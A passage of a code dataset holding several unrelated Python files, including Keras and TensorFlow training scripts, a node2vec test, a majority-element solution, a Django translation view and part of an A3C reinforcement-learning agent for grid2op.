matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nplt.style.use('ggplot')\n\n\ndef generator(samples, labels, batch_size):\n \"\"\"\n Generator with augmented data to feed the model_RNN\n :param samples: numpy array with samples\n :param labels: numpy array with corresponding labels\n :param batch_size: int batch size\n :yields: batched samples augmented and corresponding labels\n \"\"\"\n while 1:\n batch_images = []\n batch_steering = []\n for batch_sample in range(0, batch_size):\n # random value:\n intensity = np.random.uniform()\n # random flipping:\n flipping = np.random.choice([True, False])\n # random sample\n idx = np.random.randint(samples.shape[0])\n img_aug, steering_aug = augmented_images(samples[idx], labels[idx], flipping, intensity)\n batch_images.append(img_aug)\n batch_steering.append(steering_aug)\n batch_images = np.asarray(batch_images)\n batch_steering = np.asarray(batch_steering)\n yield batch_images, batch_steering\n\ndef learning_curves(model_name, history, show_plots=False):\n \"\"\"\n Display and save learning curves.\n\n Args:\n * model_path: path to models directory\n * model_name: name of trained and validated model\n * show_plots: whether to show plots or not while executing\n \"\"\"\n # loss\n plt.figure()\n plt.plot(history.history['loss'])\n plt.plot(history.history['val_loss'])\n plt.title('loss of the model')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['validation set', 'training set'], loc='upper right')\n plt.savefig(PATH_TO_IMG + \"/\" + model_name + '_loss.png')\n if show_plots: plt.show()\n\n############################################################\n# Process Data_test:\n############################################################\nif __name__ == \"__main__\":\n print(\"Processing final model...\")\n ############################################################\n # Configuration:\n ############################################################\n batch_size = 512\n nb_epochs = 3\n seed = 2016\n test_size = 0.2\n\n # for reproducibility\n np.random.seed(seed)\n\n ############################################################\n # Load and process Data_test:\n ############################################################\n with open(CURRENT_PATH + 'features_{0}.pickle'.format(VERSION), 'rb') as handle:\n X = pickle.load(handle)\n with open(CURRENT_PATH + 'labels_{0}.pickle'.format(VERSION), 'rb') as handle:\n y = pickle.load(handle)\n\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=seed)\n\n print(\"X_train shape: \", X_train.shape)\n print(\"y_train shape: \", y_train.shape)\n\n ############################################################\n # Define model\n ############################################################\n model = Sequential()\n model.add(\n Convolution2D(nb_filter=24, nb_row=5, nb_col=5, border_mode='valid', subsample=(2, 2),\n input_shape=(Y_PIX, X_PIX, 3)))\n model.add(Activation('relu'))\n model.add(Convolution2D(nb_filter=36, nb_row=5, nb_col=5, border_mode='valid', subsample=(2, 2)))\n model.add(Activation('relu'))\n model.add(Convolution2D(nb_filter=48, nb_row=5, nb_col=5, border_mode='valid', subsample=(2, 2)))\n model.add(Activation('relu'))\n model.add(Convolution2D(nb_filter=64, nb_row=3, nb_col=3, border_mode='valid'))\n model.add(Activation('relu'))\n model.add(Convolution2D(nb_filter=64, nb_row=3, nb_col=3, border_mode='valid'))\n model.add(Activation('relu'))\n model.add(Flatten())\n model.add(Dense(1164))\n model.add(Activation('relu'))\n model.add(Dense(100))\n model.add(Activation('relu'))\n model.add(Dense(50))\n model.add(Activation('relu'))\n model.add(Dense(10))\n model.add(Activation('relu'))\n model.add(Dense(1))\n\n # keras model compile, choose optimizer and loss func\n model.compile(optimizer='adam', loss='mse')\n\n # train generator:\n train_generator = generator(X_train, y_train, batch_size=batch_size)\n validation_generator = generator(X_test, y_test, batch_size=batch_size)\n\n # callback:\n early_stopping = EarlyStopping(monitor='val_loss', patience=1, verbose=1, mode='auto')\n\n # run epochs of sampling data then training\n model.fit_generator(train_generator, samples_per_epoch=batch_size * 100, nb_epoch=nb_epochs, verbose=1,\n validation_data=validation_generator, nb_val_samples=X_test.shape[0])\n\n # evaluate:\n print(\"Model Evaluation: \", model.evaluate(X_test, y_test, batch_size=32, verbose=0, sample_weight=None))\n\n # save the model\n model.save(PATH_TO_MODEL + 'model_{0}.h5'.format(VERSION))\n print(\"model Saved!\", PATH_TO_MODEL + 'model_{0}.h5'.format(VERSION))\n\n print(\"Model structure:\")\n print(model.summary())\n\n print(\"Process completed!\")\n","sub_path":"Term1/P3 - Behavioral-Cloning/scripts/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"411413893","text":"# Copyright (c) Microsoft Corporation and contributors.\n# Licensed under the MIT License.\n\nimport unittest\nimport networkx as nx\nimport numpy as np\nfrom graspologic.embed import n2v\n\n\nclass TestN2V(unittest.TestCase):\n def test_node2vec_embed(self):\n g = nx.florentine_families_graph()\n\n for s, t in g.edges():\n g.add_edge(s, t, weight=1)\n\n embedding = n2v.node2vec_embed(g, random_seed=1)\n\n embedding2 = n2v.node2vec_embed(g, random_seed=1)\n\n np.testing.assert_array_equal(embedding[0], embedding2[0])\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/embed/test_n2v.py","file_name":"test_n2v.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"57516129","text":"import sys\n\ndef get_majority_element(a, left, right):\n a.sort()\n max=0\n if left == right:\n return -1\n if left + 1 == right:\n return a[left]\n for i in a:\n if(isMajority(a, n, i)):\n return(1)\n return -1\n\n\n\ndef isMajority(arr, n, x): \n \n # Find the index of first occurrence of x in arr[] */ \n i = _binarySearch(arr, 0, n-1, x) \n \n # If element is not present at all, return false*/ \n if i == -1: \n return False\n \n # check if the element is present more than n / 2 times */ \n if ((i + n//2) <= (n -1)) and arr[i + n//2] == x: \n return True\n else: \n return False\n \n \ndef _binarySearch(arr, low, high, x): \n if high >= low: \n mid = (low + high)//2 # low + (high - low)//2; \n \n ''' Check if arr[mid] is the first occurrence of x. \n arr[mid] is first occurrence if x is one of the following \n is true: \n (i) mid == 0 and arr[mid] == x \n (ii) arr[mid-1] < x and arr[mid] == x'''\n \n if (mid == 0 or x > arr[mid-1]) and (arr[mid] == x): \n return mid \n elif x > arr[mid]: \n return _binarySearch(arr, (mid + 1), high, x) \n else: \n return _binarySearch(arr, low, (mid -1), x) \n return -1\n\nif __name__ == '__main__':\n input = sys.stdin.read()\n n, *a = list(map(int, input.split()))\n if get_majority_element(a, 0, n) != -1:\n print(1)\n else:\n print(0)\n","sub_path":"week 4/majority_element.py","file_name":"majority_element.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"22507209","text":"import tensorflow as tf\n\n\na=tf.constant([2],dtype=tf.float32)\nx=tf.constant([2],dtype=tf.float32)\nigamma=tf.raw_ops.Igamma(a=a,x=x)\nigammac=tf.raw_ops.Igammac(a=a,x=x)\nigammagrad=tf.raw_ops.IgammaGradA(a=a,x=x)\nwith tf.Session() as sess:\n print(sess.run(igamma))\n print(sess.run(igammac))\n print(sess.run(igammagrad))","sub_path":"TF_fun/TF_Igamma.py","file_name":"TF_Igamma.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"436061083","text":"# Load packages\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport gc\r\nimport datetime\r\nimport os\r\nimport tensorflow as tf\r\n\r\n# Import Data \r\n\r\n# Import X\r\nX_1 = np.load('/scratch2/ttoebro/data/P10_X.npy')\r\nX_2 = np.load('/scratch2/ttoebro/data/P6_X.npy')\r\nX_3 = np.load('/scratch2/ttoebro/data/P3_X.npy')\r\nX_4 = np.load('/scratch2/ttoebro/data/P1_X.npy')\r\nX = np.concatenate(seq = (X_1, X_2, X_3, X_4), axis=0)\r\n\r\ndel X_1, X_2, X_3, X_4\r\n\r\nX = X.reshape([X.shape[0], 256, 256, 1])\r\ngc.collect()\r\n\r\n#Import Y\r\nY_1 = np.load('/scratch2/ttoebro/data/P10_Y.npy')\r\nY_2 = np.load('/scratch2/ttoebro/data/P6_Y.npy')\r\nY_3 = np.load('/scratch2/ttoebro/data/P3_Y.npy')\r\nY_4 = np.load('/scratch2/ttoebro/data/P1_Y.npy')\r\nY = np.concatenate(seq = (Y_1, Y_2, Y_3, Y_4), axis=0)\r\nprint(Y.shape)\r\ndel Y_1, Y_2, Y_3, Y_4\r\nY = Y.reshape([Y.shape[0], 256, 256, 1])\r\ngc.collect()\r\n\r\n# Create test and validation set\r\ntrain_frac = 0.8\r\ntrain_index = int(train_frac * Y.shape[0])\r\nX_train = X[0:train_index,:,:,:]\r\nX_eval = X[train_index:X.shape[0],:,:,:]\r\nY_train = Y[0:train_index,:,:]\r\nY_eval = Y[train_index:X.shape[0],:,:,:]\r\n\r\n# Definition of the network\r\ndef conv_layer(tensor_in, name_layer, is_training):\r\n x = tf.layers.conv2d(\r\n inputs = tensor_in,\r\n filters = 64,\r\n kernel_size = [3, 3],\r\n padding = \"same\",\r\n activation= None,\r\n name = name_layer)\r\n \r\n x = tf.layers.batch_normalization(x, name = name_layer + \"_bn\",\r\n center=True, \r\n scale=True, \r\n training=is_training)\r\n \r\n return tf.nn.relu(x, name = name_layer + \"_relu\")\r\n\t\r\ndef cnn_model_fn(features, labels, mode):\r\n \r\n ## Hyper paramters ##\r\n eps_start = 0.05 #learning rate in the beginning\r\n eps_end = 0.005 #final learning rate\r\n tau = 10000 # number of iterations afterwards is the learning rate constant\r\n #####################\r\n \r\n # Input Layer\r\n input_layer = features['x']\r\n \r\n # Convolutional layer #1 \r\n conv1 = tf.layers.conv2d(\r\n inputs = input_layer,\r\n filters = 64,\r\n kernel_size = 3,\r\n padding = \"same\",\r\n activation= tf.nn.relu,\r\n name = \"Conv_1\")\r\n is_training_mode = (mode == tf.estimator.ModeKeys.TRAIN)\r\n \r\n # 18 of the middle layers with Convolution, batch normalization and afterwards ReLu\r\n conv2 = conv_layer(conv1, \"conv2\", is_training = is_training_mode)\r\n conv3 = conv_layer(conv2, \"conv3\", is_training = is_training_mode)\r\n conv4 = conv_layer(conv3, \"conv4\", is_training = is_training_mode)\r\n conv5 = conv_layer(conv4, \"conv5\", is_training = is_training_mode)\r\n conv6 = conv_layer(conv5, \"conv6\", is_training = is_training_mode)\r\n conv7 = conv_layer(conv6, \"conv7\", is_training = is_training_mode)\r\n conv8 = conv_layer(conv7, \"conv8\", is_training = is_training_mode)\r\n conv9 = conv_layer(conv8, \"conv9\", is_training = is_training_mode)\r\n conv10 = conv_layer(conv9, \"conv10\", is_training = is_training_mode)\r\n conv11 = conv_layer(conv10, \"conv11\", is_training = is_training_mode)\r\n conv12 = conv_layer(conv11, \"conv12\", is_training = is_training_mode)\r\n conv13 = conv_layer(conv12, \"conv13\", is_training = is_training_mode)\r\n conv14 = conv_layer(conv13, \"conv14\", is_training = is_training_mode)\r\n conv15 = conv_layer(conv14, \"conv15\", is_training = is_training_mode)\r\n conv16 = conv_layer(conv15, \"conv16\", is_training = is_training_mode)\r\n conv17 = conv_layer(conv16, \"conv17\", is_training = is_training_mode)\r\n conv18 = conv_layer(conv17, \"conv18\", is_training = is_training_mode)\r\n conv19 = conv_layer(conv18, \"conv19\", is_training = is_training_mode)\r\n\r\n # final \r\n final_layer = tf.layers.conv2d(\r\n inputs = conv19,\r\n filters = 1,\r\n kernel_size = [1, 1],\r\n padding = \"same\",\r\n activation = None,\r\n name = \"final_layer\") + input_layer\r\n \r\n \r\n if mode == tf.estimator.ModeKeys.PREDICT:\r\n return tf.estimator.EstimatorSpec(mode = mode, predictions=final_layer)\r\n \r\n # Calculate Loss (for both Train and EVAL modes)\r\n # See that the residual learning is implemented here.\r\n loss = tf.losses.mean_squared_error(labels = labels , predictions = final_layer)\r\n tf.summary.scalar(\"Value_Loss_Function\", loss)\r\n \r\n # Configure the Training OP (for TRAIN mode)\r\n if mode == tf.estimator.ModeKeys.TRAIN:\r\n # calculate current learning rate:\r\n alpha = tf.train.get_global_step() / tau\r\n cur_learning_rate = tf.maximum(tf.constant(0.0, dtype ='float64'),(1-alpha)) * eps_start + tf.minimum(tf.constant(1.0, dtype ='float64') , alpha) * eps_end\r\n tf.summary.scalar(\"Learning_rate\", cur_learning_rate)\r\n optimizer = tf.train.AdamOptimizer(learning_rate = cur_learning_rate)\r\n train_op = optimizer.minimize(loss = loss, global_step=tf.train.get_global_step())\r\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss, train_op=train_op)\r\n \r\n # Output all learnable variables for tensorboard\r\n for var in tf.trainable_variables():\r\n name = var.name\r\n name = name.replace(':', '_')\r\n tf.summary.histogram(name, var)\r\n merged_summary = tf.summary.merge_all()\r\n \r\n # Add evaluation metrics\r\n eval_metric_ops = {\r\n \"accuracy\": tf.metrics.mean_squared_error(\r\n labels=labels, predictions=final_layer)}\r\n return tf.estimator.EstimatorSpec(\r\n mode=mode, loss=loss, eval_metric_ops=eval_metric_ops) \r\n\r\n\r\n# rename test and train\r\ntrain_data = X_train\r\ntrain_labels = Y_train\r\neval_data = X_eval\r\neval_labels = Y_eval\r\n\r\nrunconf = tf.estimator.RunConfig(save_summary_steps=20, log_step_count_steps = 20)\r\nsave_dir = \"/scratch2/ttoebro/models/\" + str(datetime.datetime.now())[0:19].replace(\"-\", \"_\").replace(\" \", \"_\").replace(\":\", \"_\").replace(\".\", \"_\")\r\n\r\nImpNet = tf.estimator.Estimator(config=runconf,\r\n model_fn=cnn_model_fn, model_dir= save_dir)\r\n\r\ntrain_input_fn = tf.estimator.inputs.numpy_input_fn(\r\n x={\"x\": X_train},\r\n y=Y_train,\r\n batch_size=12,\r\n num_epochs=None,\r\n shuffle=True)\r\n\r\n# run model\r\nImpNet.train(\r\n input_fn=train_input_fn,\r\n steps=20000)","sub_path":"network architectures/DnCNN_V1_HPC.py","file_name":"DnCNN_V1_HPC.py","file_ext":"py","file_size_in_byte":6331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"45195299","text":"from netCDF4 import Dataset\nimport numpy as np\n\nfrom predictability_utils.utils import helpers, io\nfrom predictability_utils.methods.lrlin_method import run_lrlin\nfrom predictability_utils.methods.cca_method import run_cca\n\nimport sys\n\n\"\"\"\nruns CCA-method and LR-rank linear method for given number of latent components n\nto predict T2ms from source data X (e.g. T2ms, SSTs, MSLs etc.)\n\"\"\"\n\nroot_data = '../../data/pyrina'\nroot_results = '../../results/pyrina'\n\n\n##\n\n# change analysis parameters here\ny_train = 51 # training/test data split (y_train=51 for 1900-1951 train, 1951-2010 test)\ntrain_months, test_months = [2,3,4], [5,6,7] # months to predict from, months to predict\nn_latents = np.int(sys.argv[1]) # 5 # number of latent components (CCs, rank of linear prediction matrix)\nfield, region, preprocess = sys.argv[2], sys.argv[3], sys.argv[4] # which source data to use\nlr, n_epochs = np.float(sys.argv[5]), 20000 # for gradient descent used in low-rank linear method \n\n##\n\nm_train = ''.join([str(i) for i in train_months]) # strings for save-file\nm_test = ''.join([str(i) for i in test_months]) # identification\n\n# source data to predict T2s from\nsource_data, _ = io.data_load(field, region, preprocess, root_data, verbose=False)\n\n# Temperature at 2m (EU) ANOMALIES\ntarget_data, _ = io.data_load('t2m', 'EU', 'anomalies', root_data, verbose=False)\n\n# training data time stamps and map shape\nnc_fn = root_data + \"/t2m_ERA20c_monthly_1900-2010.EU.mv.nc\"\nts = Dataset(nc_fn, 'r').variables['time'].__array__().data\n\nidcs = helpers.split_train_data(ts, y_train, train_months, test_months)\nidx_source_train, idx_target_train, idx_source_test, idx_target_test = idcs\n\n\n# CCA analysis\nanomaly_corrs, params = run_cca(source_data, target_data, n_latents, idcs, if_plot=False)\nsv_fn = f'/{field}_ERA20c_monthly_1900-2010_{region}_{preprocess}__s{m_train}_t{m_test}_split{y_train}__n{n_latents}_CCA'\nnp.save(root_results + sv_fn, anomaly_corrs)\n\n# LR-linear analysis\nanomaly_corrs, params = run_lrlin(source_data, target_data, n_latents, idcs, if_plot=False, lr=lr, n_epochs=n_epochs)\nsv_fn = f'/{field}_ERA20c_monthly_1900-2010_{region}_{preprocess}__s{m_train}_t{m_test}_split{y_train}__n{n_latents}_LRL'\nnp.save(root_results + sv_fn, anomaly_corrs)\n","sub_path":"scripts/script_pCluster_run_single.py","file_name":"script_pCluster_run_single.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"472071546","text":"import argg_hdl.argg_hdl_base as ahb\nimport argg_hdl.argg_hdl_v_symbol as ah_symbol\n\nimport argg_hdl.argg_hdl_v_list as ah_list\n\nimport argg_hdl.argg_hdl_v_entity as ah_entity\nimport argg_hdl.argg_hdl_v_entity_list as ah_entity_list\n\nimport argg_hdl.argg_hdl_v_class as ah_v_class\nimport argg_hdl.argg_hdl_v_enum as ah_v_enum\n\nimport argg_hdl.argg_hdl_simulation as ah_simulation\n\nimport argg_hdl.argg_hdl_v_Package as ah_v_package\n\nimport argg_hdl.argg_hdl_v_class_trans as v_class_trans_m\n\nimport argg_hdl.argg_hdl_v_record as ah_rec\n\nimport argg_hdl.argg_hdl_master_slave as ah_ms\n\n## argg_hdl_base\nbase0 = ahb.argg_hdl_base0\nbase = ahb.argg_hdl_base\narchitecture = ahb.architecture\nend_architecture = ahb.end_architecture\nInOut_t = ahb.InOut_t\nvarSig = ahb.varSig\nv_classType_t = ahb.v_classType_t\nv_variable = ahb.v_variable\nv_signal = ahb.v_signal\nv_const = ahb.v_const \nport_out = ahb.port_out \nvariable_port_out = ahb.variable_port_out \nport_in = ahb.port_in \nvariable_port_in = ahb.variable_port_in \nport_Master = ahb.port_Master \nvariable_port_Master = ahb.variable_port_Master \nsignal_port_Master = ahb.signal_port_Master \nport_Stream_Master = ahb.port_Stream_Master \nsignal_port_Slave = ahb.signal_port_Slave \nport_Slave = ahb.port_Slave \nvariable_port_Slave = ahb.variable_port_Slave \nport_Stream_Slave = ahb.port_Stream_Slave \nv_copy = ahb.v_copy\nconvert_to_hdl = ahb.convert_to_hdl\nvalue = ahb.value\nprint_cnvt_set_file = ahb.print_cnvt_set_file\n\nv_symbol = ah_symbol.v_symbol\n\n\n\n\n\n## argg_hdl_v_symbol\nv_bool = ah_symbol.v_bool\nv_sl = ah_symbol.v_sl\nv_slv = ah_symbol.v_slv\nv_int = ah_symbol.v_int\n\n## argg_hdl_v_list\nv_list = ah_list.v_list\n\n## argg_hdl_v_entity\nprocess = ah_entity.process \ntimed = ah_entity.timed \nv_create = ah_entity.v_create \nwait_for = ah_entity.wait_for \ncombinational = ah_entity.combinational\nv_switch = ah_entity.v_switch \nv_case = ah_entity.v_case \nrising_edge = ah_entity.rising_edge \nv_entity = ah_entity.v_entity \nv_clk_entity = ah_entity.v_clk_entity \n\n\n## v_entity_list\n\nv_entity_list = ah_entity_list.v_entity_list\n\n## argg_hdl_v_class\nv_class = ah_v_class.v_class\nget_master = ah_ms.get_master\nget_salve = ah_ms.get_salve\nget_handle = ah_ms.get_handle\nv_class_master = ah_ms.v_class_master\nv_class_slave = ah_ms.v_class_slave\n\n## argg_hdl.argg_hdl_simulation \n#gsimulation = ah_simulation.gsimulation\nrun_simulation = ah_simulation.run_simulation\n\n## argg_hdl.argg_hdl_v_enum \nv_enum = ah_v_enum.v_enum\n\n## argg_hdl.argg_hdl_v_Package\nv_package = ah_v_package.v_package\n\n\n\n#v_class_trans\n\nv_class_trans = v_class_trans_m.v_class_trans\n\n\nv_record = ah_rec.v_record\n\ndef g_global_reset():\n ahb.g_global_reset()\n ah_symbol.v_symbol_reset()\n ah_simulation.Simulation_reset()","sub_path":"argg_hdl/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"512507958","text":"from django.shortcuts import render_to_response\nfrom django.http import HttpResponseRedirect\nfrom django.template import RequestContext\nfrom forms import StringForm\nfrom models import String\nfrom pujiahh.projects.models import Project\nfrom pujiahh.wordlib.models import Word\nfrom pujiahh.account.models import Profile\nimport time,os,cPickle\nfrom django.core.cache import cache\n\ntoday = time.strftime(\"%Y-%m-%d\", time.localtime())\nnowtime = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n\ndef translate(request, sid):\n sid = int(sid)\n page = 1\n next = sid + 1\n previous = sid - 1\n string = String.objects.select_related().get(pk = sid)\n\n## project_dir = os.path.dirname(__file__).replace('tran','projects') + '/games/%s/jp/'%string.project_name\n## fp = open(project_dir + string.file_name + '.pickle', 'rb')\n## sid_list = cPickle.load(fp)\n## fp.close()\n## page = sid_list.index(sid)/15 + 1\n\n if request.user.has_perm('tran.can_edit_lock_%s'%string.project_name):\n perm_edit_lock = True\n else:\n perm_edit_lock = False\n\n if request.method == 'POST':\n if string.state == u'2':\n if not perm_edit_lock:\n if 'pre' in request.POST:\n return HttpResponseRedirect('../%s/'%previous)\n if 'sub' in request.POST:\n return HttpResponseRedirect('.')\n if 'next' in request.POST:\n return HttpResponseRedirect('../%s/'%next)\n\n form = StringForm(request.POST)\n if form.is_valid():\n dest = form.cleaned_data['dest']\n remarks = form.cleaned_data['remarks']\n updateuser = request.user\n if string.dest != dest:\n if string.state == u'2':\n state = u'2'\n else:\n state = u'1'\n if perm_edit_lock:\n state = u'2'\n\n string.dest = dest\n string.state = state\n if updateuser != string.name:\n profile = Profile.objects.select_related().get(user=updateuser)\n profile.count += 1\n if str(profile.today) == today:\n profile.todaycount += 1\n else:\n profile.today = today\n profile.todaycount = 1\n profile.save()\n string.name = updateuser\n string.updata_time = nowtime\n string.remarks = remarks\n string.save()\n\n if 'pre' in request.POST:\n return HttpResponseRedirect('../%s/'%previous)\n if 'sub' in request.POST:\n return HttpResponseRedirect('.')\n if 'sub2all' in request.POST:\n String.objects.select_related().filter(src=string.src).update(dest=string.dest,state=string.state)\n return HttpResponseRedirect('.')\n if 'next' in request.POST:\n return HttpResponseRedirect('../%s/'%next)\n else:\n try:\n previous_string = String.objects.select_related().get(pk = previous)\n except :\n previous_string = String.objects.select_related().get(pk = sid)\n try:\n next_string = String.objects.select_related().get(pk = next)\n except :\n next_string = String.objects.select_related().get(pk = sid)\n\n repeatstringlist = String.objects.select_related().filter(src=string.src, state__in=['1','2']).exclude(pk=sid)\n if repeatstringlist:\n repeatstring = repeatstringlist[0]\n else:\n repeatstring = False\n project = Project.objects.select_related().get(project_name=string.project_name)\n words = cache.get('words_%s'%string.project_name)\n if not words:\n words = Word.objects.select_related().filter(project__id = project.id)\n cache.set('words_%s'%string.project_name, words, 900)\n\n try:\n if request.user.get_profile().state == '1':\n blackuser = True\n else:\n blackuser = False\n except:\n blackuser = False\n \n form = StringForm()\n\n return render_to_response('translate.html',{'form': form, 'string': string, \\\n 'sid': sid, 'repeatstring': repeatstring, 'page': page, \\\n 'project': project, 'blackuser': blackuser, \\\n 'perm_edit_lock': perm_edit_lock, \\\n 'words': words, 'previous_string': previous_string, \\\n 'next_string': next_string},\n context_instance = RequestContext(request))\n","sub_path":"tran/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"21380250","text":"try:\r\n import grid2op\r\n import threading\r\n import numpy as np\r\n import time\r\n import json\r\n import copy\r\n import os\r\n from grid2op import make\r\n from grid2op.Agent import MLAgent\r\n from grid2op.Environment import Environment\r\n from grid2op.Parameters import Parameters\r\n from grid2op.Reward import L2RPNReward, CombinedReward, CloseToOverflowReward, GameplayReward\r\n\r\n import tensorflow.compat.v1 as tf\r\n tf.disable_v2_behavior()\r\n\r\n from tensorflow.keras.layers import Dense, Input\r\n from tensorflow.keras.models import Model\r\n from tensorflow.keras.optimizers import Adam\r\n import tensorflow.python.keras.backend as K\r\n from l2rpn_baselines.AsynchronousActorCritic.user_environment_make import set_environement\r\n # import user_environment_make\r\nexcept ImportError as exc_:\r\n raise ImportError(\"AsynchronousActorCritic baseline impossible to load the required dependencies for training the model. The error was: \\n {}\".format(exc_))\r\n\r\n\r\n# import user_environment_make\r\n\r\n# Create the Agent instance here that can used with the Runner to test the performance of the trained RL agent.\r\nclass A3CAgent(MLAgent):\r\n # first change: An Agent must derived from grid2op.Agent (in this case MLAgent, because we manipulate vector instead\r\n # of classes) We will use this template to create our desired ML agent with unique neural network configuration.\r\n def __init__(self, state_size, action_size, env_name, action_space, value_multiplier,action_space_lists,\r\n profiles_chronics,EPISODES_train2,time_step_end2,Hyperparameters,Thread_count,train_flag,save_path):\r\n MLAgent.__init__(self, action_space)\r\n # Parameter settings.\r\n # NOTE: MAKE SURE THE FOLLOWING SETTINGS ARE SAME AS THE TRAINED AGENT OR THE WEIGHTS WONT LOAD SUCCESSFULLY.\r\n # get size of state and action\r\n self.state_size = state_size\r\n self.action_size = action_size\r\n # get gym environment name\r\n self.env_name = env_name\r\n self.denominator = value_multiplier\r\n\r\n if train_flag:\r\n # these are hyper parameters for the A3C\r\n self.actor_lr = Hyperparameters[\"actor_learning_rate\"]\r\n self.critic_lr = Hyperparameters[\"critic_learning_rate\"]\r\n self.discount_factor = Hyperparameters[\"discount_factor\"]\r\n self.threads = Thread_count\r\n self.save_path = os.path.abspath(save_path)\r\n if not os.path.exists(self.save_path):\r\n os.mkdir(self.save_path)\r\n else: #evaluating\r\n self.action_list = []\r\n\r\n self.hidden1, self.hidden2 = Hyperparameters[\"size_of_hidden_layer_1\"], Hyperparameters[\"size_of_hidden_layer_2\"]\r\n\r\n # create model for actor and critic network\r\n self.actor, self.critic = self.build_model()\r\n\r\n if train_flag:\r\n # method for training actor and critic network\r\n self.optimizer = [self.actor_optimizer(), self.critic_optimizer()]\r\n\r\n # global variables for threading\r\n global scores\r\n scores = []\r\n global time_step_end\r\n time_step_end = time_step_end2\r\n global EPISODES_train\r\n EPISODES_train = EPISODES_train2\r\n\r\n self.profiles_chronics = profiles_chronics\r\n\r\n # tf will use CPU. Number of GPU devices allowed to access are zero.\r\n self.sess = tf.InteractiveSession(config=tf.ConfigProto(device_count={'GPU': 0}))\r\n K.set_session(self.sess)\r\n self.sess.run(tf.global_variables_initializer())\r\n\r\n self.action_space_lists = action_space_lists\r\n self.gen_action_list = action_space_lists[0]\r\n self.load_action_list = action_space_lists[1]\r\n self.line_or_action_list = action_space_lists[2]\r\n self.line_ex_action_list = action_space_lists[3]\r\n\r\n # approximate policy and value using Neural Network\r\n # actor -> state is input and probability of each action is output of network\r\n # critic -> state is input and value of state is output of network\r\n # actor and critic network share first hidden layer. These neural networks should be same as the neural network\r\n # from \"train.py\".\r\n def build_model(self):\r\n state = Input(batch_shape=(None, self.state_size))\r\n shared = Dense(self.hidden1, input_dim=self.state_size, activation='relu', kernel_initializer='glorot_uniform')(state)\r\n\r\n actor_hidden = Dense(self.hidden2, activation='relu', kernel_initializer='glorot_uniform')(shared)\r\n action_prob = Dense(self.action_size, activation='softmax', kernel_initializer='glorot_uniform')(actor_hidden)\r\n # action_prob = K.softmax(action_intermediate)\r\n\r\n value_hidden = Dense(self.hidden2, activation='relu', kernel_initializer='he_uniform')(shared)\r\n state_value = Dense(1, activation='linear', kernel_initializer='he_uniform')(value_hidden)\r\n\r\n actor = Model(inputs=state, outputs=action_prob)\r\n critic = Model(inputs=state, outputs=state_value)\r\n\r\n actor._make_predict_function()\r\n critic._make_predict_function()\r\n\r\n # actor.summary()\r\n # critic.summary()\r\n\r\n return actor, critic\r\n\r\n def act(self, state_as_dict, reward, done=False):\r\n state = useful_state(state_as_dict,self.denominator)\r\n state = state.reshape([1,state.size])\r\n action_index = self.get_action(state_as_dict,state)\r\n\r\n # Creates the action \"object\". If we use \"print(action)\" then it is readable.\r\n action = self.create_action_dict(self.gen_action_list, self.load_action_list, self.line_or_action_list, self.line_ex_action_list,\r\n action_index,None, None)\r\n # print(action)\r\n # self.action_list.append(action)\r\n return action\r\n\r\n def create_action_dict(self,gen_action_list, load_action_list, line_or_action_list, line_ex_action_list, action_index, episode, flag):\r\n action = self.action_space(\r\n {\"change_bus\": {\"generators_id\": gen_action_list[action_index], \"loads_id\": load_action_list[action_index],\r\n \"lines_or_id\": line_or_action_list[action_index],\r\n \"lines_ex_id\": line_ex_action_list[action_index]}})\r\n return action\r\n\r\n def get_action(self, state_as_dict, state):\r\n with self.sess.as_default():\r\n with self.sess.graph.as_default():\r\n # Predict the action using the internal neural network\r\n policy = self.actor.predict(state,batch_size=1).flatten()\r\n\r\n # Select first 4 best possible actions from the neural nets.\r\n policy_chosen_list = np.random.choice(self.action_size, 4, p=policy)\r\n\r\n # Simulate the impact of these actions and pick the best action that maximizes the reward.\r\n # (one-step lookahead).\r\n action_index = policy_chosen_list[0]\r\n action = self.create_action_dict(self.gen_action_list, self.load_action_list, self.line_or_action_list, self.line_ex_action_list, action_index, None, None)\r\n obs_0, rw_0, done_0, _ = state_as_dict.simulate(action)\r\n\r\n action_index = policy_chosen_list[1]\r\n action = self.create_action_dict(self.gen_action_list, self.load_action_list, self.line_or_action_list, self.line_ex_action_list, action_index, None, None)\r\n obs_1, rw_1, done_1, _ = state_as_dict.simulate(action)\r\n\r\n action_index = policy_chosen_list[2]\r\n action = self.create_action_dict(self.gen_action_list, self.load_action_list, self.line_or_action_list, self.line_ex_action_list, action_index, None, None)\r\n obs_2, rw_2, done_2, _ = state_as_dict.simulate(action)\r\n\r\n action_index = policy_chosen_list[3]\r\n action = self.create_action_dict(self.gen_action_list, self.load_action_list, self.line_or_action_list, self.line_ex_action_list, action_index, None, None)\r\n obs_3, rw_3, done_3, _ = state_as_dict.simulate(action)\r\n\r\n return policy_chosen_list[np.argmax([rw_0,rw_1,rw_2,rw_3])]\r\n\r\n # make loss function for Policy Gradient\r\n # [log(action probability) * advantages] will be input for the back prop\r\n # we add entropy of action probability to loss\r\n def actor_optimizer(self):\r\n action = 